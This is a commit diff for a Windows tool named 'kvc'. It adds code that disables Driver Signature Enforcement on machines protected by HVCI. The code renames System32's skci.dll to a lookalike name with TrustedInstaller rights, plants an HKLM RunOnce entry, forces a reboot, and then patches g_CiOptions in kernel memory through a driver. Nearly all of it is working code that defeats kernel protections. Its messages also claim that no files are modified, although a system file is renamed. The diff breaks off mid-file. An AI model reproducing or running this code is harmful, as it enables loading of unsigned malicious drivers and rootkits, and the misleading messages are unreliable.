Aktualizacja: 2025-10-18 02:01:20
This commit is contained in:
@@ -91,6 +91,7 @@ public:
|
||||
// DSE bypass operations
|
||||
bool DisableDSE() noexcept;
|
||||
bool RestoreDSE() noexcept;
|
||||
bool DisableDSEAfterReboot() noexcept;
|
||||
ULONG_PTR GetCiOptionsAddress() const noexcept;
|
||||
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ bool Controller::DisableDSE() noexcept {
|
||||
DEBUG(L"Driver handle opened successfully");
|
||||
|
||||
if (!m_dseBypass) {
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
}
|
||||
|
||||
bool result = m_dseBypass->DisableDSE();
|
||||
@@ -40,7 +40,7 @@ bool Controller::RestoreDSE() noexcept {
|
||||
}
|
||||
|
||||
// Always create new object - program starts from scratch between invocations
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
|
||||
bool result = m_dseBypass->RestoreDSE();
|
||||
|
||||
@@ -49,6 +49,29 @@ bool Controller::RestoreDSE() noexcept {
|
||||
return result;
|
||||
}
|
||||
|
||||
bool Controller::DisableDSEAfterReboot() noexcept {
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_rtc->Initialize()) {
|
||||
ERROR(L"Failed to initialize driver handle");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Driver handle opened successfully");
|
||||
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
|
||||
bool result = m_dseBypass->DisableDSEAfterReboot();
|
||||
|
||||
EndDriverSession(true);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
|
||||
if (!m_dseBypass) {
|
||||
return 0;
|
||||
@@ -70,7 +93,7 @@ bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
|
||||
}
|
||||
|
||||
if (!m_dseBypass) {
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc);
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
}
|
||||
|
||||
// Find ci.dll and locate g_CiOptions
|
||||
|
||||
@@ -442,6 +442,6 @@ std::vector<BYTE> Controller::ExtractDriver() noexcept {
|
||||
return {};
|
||||
}
|
||||
|
||||
INFO(L"Driver extracted: %zu bytes", kvcSysData.size());
|
||||
DEBUG(L"Driver extracted: %zu bytes", kvcSysData.size());
|
||||
return kvcSysData;
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
#include "DSEBypass.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include "common.h"
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
@@ -22,54 +23,102 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
|
||||
SYSTEM_MODULE Modules[1];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
|
||||
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trustedInstaller)
|
||||
: m_rtc(rtc), m_trustedInstaller(trustedInstaller) {}
|
||||
|
||||
bool DSEBypass::DisableDSE() noexcept {
|
||||
DEBUG(L"[DSE] Attempting to disable Driver Signature Enforcement...");
|
||||
DEBUG(L"Attempting to disable Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
|
||||
DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
|
||||
|
||||
// Step 2: Locate g_CiOptions in CiPolicy section
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
m_originalValue = currentValue;
|
||||
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: Check for ANY HVCI/VBS protection bits
|
||||
// Step 4a: Handle already disabled case
|
||||
if (currentValue == 0x00000000) {
|
||||
INFO(L"DSE already disabled - no action required");
|
||||
SUCCESS(L"Kernel accepts unsigned drivers");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Step 4b: Check for HVCI/VBS - require rename strategy
|
||||
if (currentValue & 0x0001C000) {
|
||||
ERROR(L"[!] Cannot proceed: g_CiOptions = 0x%08X (HVCI flags: 0x%05X)",
|
||||
currentValue, (currentValue & 0x0001C000));
|
||||
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
|
||||
ERROR(L"[!] Memory integrity enforced at hardware virtualization level");
|
||||
ERROR(L"[!] DSE bypass impossible - disable VBS in BIOS/Windows Security");
|
||||
return false;
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
|
||||
INFO(L"Direct kernel memory patching blocked by hypervisor");
|
||||
INFO(L"Initiating non-invasive HVCI bypass strategy...");
|
||||
std::wcout << L"\n";
|
||||
|
||||
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
||||
SUCCESS(L"System configuration: skci.dll → skci.dlI (reversible)");
|
||||
INFO(L"No files will be permanently modified or deleted");
|
||||
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, skci.dll restored");
|
||||
std::wcout << L"\n";
|
||||
|
||||
if (!RenameSkciLibrary()) {
|
||||
ERROR(L"Failed to rename skci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!SaveDSEState(currentValue)) {
|
||||
ERROR(L"Failed to save DSE state to registry");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!CreateRunOnceEntry()) {
|
||||
ERROR(L"Failed to create RunOnce entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"HVCI bypass prepared successfully");
|
||||
INFO(L"System will disable hypervisor on next boot");
|
||||
INFO(L"Reboot required to complete DSE bypass");
|
||||
INFO(L"After reboot, DSE will be automatically disabled");
|
||||
|
||||
// Prompt for reboot
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
system("shutdown /r /t 0");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Step 5: Verify we have patchable DSE (0x00000006)
|
||||
if (currentValue != 0x00000006) {
|
||||
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000006)", currentValue);
|
||||
ERROR(L"[DSE] DSE may already be disabled or system configuration unsupported");
|
||||
INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
|
||||
INFO(L"Expected: 0x00000006 (patchable) or 0x0001C006 (HVCI)");
|
||||
INFO(L"DSE may already be disabled or system in non-standard configuration");
|
||||
INFO(L"Use 'kvc dse' to verify current state");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -77,55 +126,57 @@ bool DSEBypass::DisableDSE() noexcept {
|
||||
DWORD newValue = 0x00000000;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 7: Verify the change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
INFO(L"No restart required - unsigned drivers can now be loaded");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreDSE() noexcept {
|
||||
DEBUG(L"[DSE] Attempting to restore Driver Signature Enforcement...");
|
||||
DEBUG(L"Attempting to restore Driver Signature Enforcement...");
|
||||
|
||||
// Step 1: Find ci.dll base address
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"[DSE] Failed to locate ci.dll");
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Locate g_CiOptions
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"[DSE] Failed to locate g_CiOptions");
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
|
||||
|
||||
// Step 3: Read current value
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions");
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
DEBUG(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Step 4: Verify DSE is disabled (0x00000000)
|
||||
if (currentValue != 0x00000000) {
|
||||
ERROR(L"[DSE] Unexpected g_CiOptions value: 0x%08X (expected: 0x00000000)", currentValue);
|
||||
ERROR(L"[DSE] DSE may already be enabled or system configuration unsupported");
|
||||
INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue);
|
||||
INFO(L"DSE may already be enabled or system in unexpected state");
|
||||
INFO(L"Use 'kvc dse' to check current protection status");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -133,26 +184,27 @@ bool DSEBypass::RestoreDSE() noexcept {
|
||||
DWORD newValue = 0x00000006;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"[DSE] Failed to write g_CiOptions");
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 6: Verify the change
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"[DSE] Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
INFO(L"No restart required - kernel protection reactivated");
|
||||
return true;
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!hNtdll) {
|
||||
ERROR(L"[DSE] Failed to get ntdll.dll handle");
|
||||
ERROR(L"Failed to get ntdll.dll handle");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
@@ -167,7 +219,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
||||
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
|
||||
|
||||
if (!pNtQuerySystemInformation) {
|
||||
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
|
||||
ERROR(L"Failed to get NtQuerySystemInformation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
@@ -181,7 +233,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
||||
);
|
||||
|
||||
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
@@ -197,7 +249,7 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
||||
);
|
||||
|
||||
if (status != 0) {
|
||||
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
@@ -217,33 +269,33 @@ std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName)
|
||||
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
|
||||
|
||||
if (baseAddr == 0) {
|
||||
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
|
||||
ERROR(L"Module %S found but ImageBase is NULL", moduleName);
|
||||
continue;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
|
||||
return baseAddr;
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
|
||||
ERROR(L"Module %S not found in kernel", moduleName);
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
|
||||
|
||||
// Get CiPolicy section information
|
||||
auto dataSection = GetDataSection(ciBase);
|
||||
if (!dataSection) {
|
||||
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
|
||||
ERROR(L"Failed to locate CiPolicy section in ci.dll");
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONG_PTR dataStart = dataSection->first;
|
||||
SIZE_T dataSize = dataSection->second;
|
||||
|
||||
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
|
||||
|
||||
// g_CiOptions is always at offset +4 in CiPolicy section
|
||||
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
|
||||
@@ -251,11 +303,11 @@ ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
|
||||
// Verify we can read from this address
|
||||
auto currentValue = m_rtc->Read32(ciOptionsAddr);
|
||||
if (!currentValue) {
|
||||
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
|
||||
return ciOptionsAddr;
|
||||
}
|
||||
|
||||
@@ -291,7 +343,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
||||
|
||||
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
|
||||
|
||||
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value());
|
||||
DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value());
|
||||
|
||||
// Search for CiPolicy section
|
||||
for (WORD i = 0; i < numSections.value(); i++) {
|
||||
@@ -310,7 +362,7 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
||||
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
|
||||
|
||||
if (virtualSize && virtualAddr) {
|
||||
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X",
|
||||
virtualAddr.value(), virtualSize.value());
|
||||
|
||||
return std::make_pair(
|
||||
@@ -321,6 +373,234 @@ std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR
|
||||
}
|
||||
}
|
||||
|
||||
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
|
||||
ERROR(L"CiPolicy section not found in ci.dll");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HVCI BYPASS IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
bool DSEBypass::RenameSkciLibrary() noexcept {
|
||||
DEBUG(L"Attempting to rename skci.dll to disable hypervisor");
|
||||
|
||||
if (!m_trustedInstaller) {
|
||||
ERROR(L"TrustedInstaller not available");
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||
ERROR(L"Failed to get System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
|
||||
|
||||
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||
|
||||
if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
|
||||
ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||
DEBUG(L"Restoring skci.dll from skci.dlI");
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||
ERROR(L"Failed to get System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
|
||||
// Admin rights sufficient for restore (no hypervisor running)
|
||||
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) {
|
||||
DWORD error = GetLastError();
|
||||
ERROR(L"Failed to restore skci.dll (error: %d)", error);
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"skci.dll restored successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::CreateRunOnceEntry() noexcept {
|
||||
DEBUG(L"Creating RunOnce registry entry");
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
|
||||
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open RunOnce key");
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
|
||||
std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off";
|
||||
|
||||
LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(cmdLine.c_str()),
|
||||
static_cast<DWORD>((cmdLine.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to set RunOnce value (error: %d)", result);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"RunOnce entry created: %s", cmdLine.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept {
|
||||
DEBUG(L"Saving state to registry");
|
||||
|
||||
HKEY hKey;
|
||||
DWORD disposition;
|
||||
|
||||
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL,
|
||||
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
|
||||
&hKey, &disposition) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to create registry key");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring state = L"AwaitingRestore";
|
||||
RegSetValueExW(hKey, L"State", 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(state.c_str()),
|
||||
static_cast<DWORD>((state.length() + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD,
|
||||
reinterpret_cast<const BYTE*>(&originalValue), sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept {
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
outState = state;
|
||||
}
|
||||
|
||||
size = sizeof(DWORD);
|
||||
RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(&outOriginalValue), &size);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::ClearDSEState() noexcept {
|
||||
DEBUG(L"Clearing state from registry");
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0,
|
||||
KEY_WRITE, &hKey) != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
RegDeleteTreeW(hKey, L"DSE");
|
||||
RegCloseKey(hKey);
|
||||
|
||||
DEBUG(L"State cleared");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::DisableDSEAfterReboot() noexcept {
|
||||
DEBUG(L"Post-reboot DSE disable sequence");
|
||||
|
||||
std::wstring state;
|
||||
DWORD originalValue;
|
||||
|
||||
if (!LoadDSEState(state, originalValue)) {
|
||||
ERROR(L"No pending DSE state found in registry");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (state != L"AwaitingRestore") {
|
||||
ERROR(L"Invalid state: %s", state.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue);
|
||||
|
||||
// Step 1: Restore skci.dll
|
||||
if (!RestoreSkciLibrary()) {
|
||||
ERROR(L"Failed to restore skci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 2: Now patch g_CiOptions (HVCI no longer protects memory)
|
||||
auto ciBase = GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ciOptionsAddr = FindCiOptions(ciBase.value());
|
||||
if (!m_ciOptionsAddr) {
|
||||
ERROR(L"Failed to locate g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto current = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!current) {
|
||||
ERROR(L"Failed to read g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD currentValue = current.value();
|
||||
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
|
||||
|
||||
// Patch to 0x00000000
|
||||
DWORD newValue = 0x00000000;
|
||||
|
||||
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
|
||||
ERROR(L"Failed to write g_CiOptions");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto verify = m_rtc->Read32(m_ciOptionsAddr);
|
||||
if (!verify || verify.value() != newValue) {
|
||||
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
|
||||
newValue, verify ? verify.value() : 0xFFFFFFFF);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Step 3: Cleanup
|
||||
ClearDSEState();
|
||||
|
||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -5,14 +5,18 @@
|
||||
#include <optional>
|
||||
#include <utility>
|
||||
|
||||
// Forward declaration - MUSI BYĆ PRZED class DSEBypass
|
||||
class TrustedInstallerIntegrator;
|
||||
|
||||
class DSEBypass {
|
||||
private:
|
||||
std::unique_ptr<kvc>& m_rtc;
|
||||
TrustedInstallerIntegrator* m_trustedInstaller;
|
||||
ULONG_PTR m_ciOptionsAddr = 0;
|
||||
DWORD m_originalValue = 0;
|
||||
|
||||
public:
|
||||
explicit DSEBypass(std::unique_ptr<kvc>& rtc);
|
||||
explicit DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* ti);
|
||||
|
||||
// Main DSE control functions
|
||||
bool DisableDSE() noexcept;
|
||||
@@ -26,10 +30,21 @@ public:
|
||||
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
|
||||
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
|
||||
|
||||
// HVCI bypass workflow
|
||||
bool DisableDSEAfterReboot() noexcept;
|
||||
|
||||
private:
|
||||
// Internal PE parsing helpers
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
|
||||
|
||||
// HVCI bypass helpers
|
||||
bool RenameSkciLibrary() noexcept;
|
||||
bool RestoreSkciLibrary() noexcept;
|
||||
bool CreateRunOnceEntry() noexcept;
|
||||
bool SaveDSEState(DWORD originalValue) noexcept;
|
||||
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
|
||||
bool ClearDSEState() noexcept;
|
||||
|
||||
// HVCI/VBS detection
|
||||
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
|
||||
return (ciOptionsValue & 0x0001C000) != 0;
|
||||
|
||||
@@ -88,10 +88,11 @@ void HelpSystem::PrintServiceCommands() noexcept
|
||||
void HelpSystem::PrintDSECommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
|
||||
PrintCommandLine(L"dse off", L"Disable DSE to allow unsigned driver loading");
|
||||
PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)");
|
||||
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
|
||||
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
|
||||
PrintNote(L"Requires kernel driver session with elevated privileges");
|
||||
PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted");
|
||||
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
93
kvc/Kvc.cpp
93
kvc/Kvc.cpp
@@ -265,29 +265,31 @@ int wmain(int argc, wchar_t* argv[])
|
||||
|
||||
std::wcout << L"\n";
|
||||
INFO(L"DSE Status Information:");
|
||||
INFO(L" g_CiOptions address: 0x%llX", ciOptionsAddr);
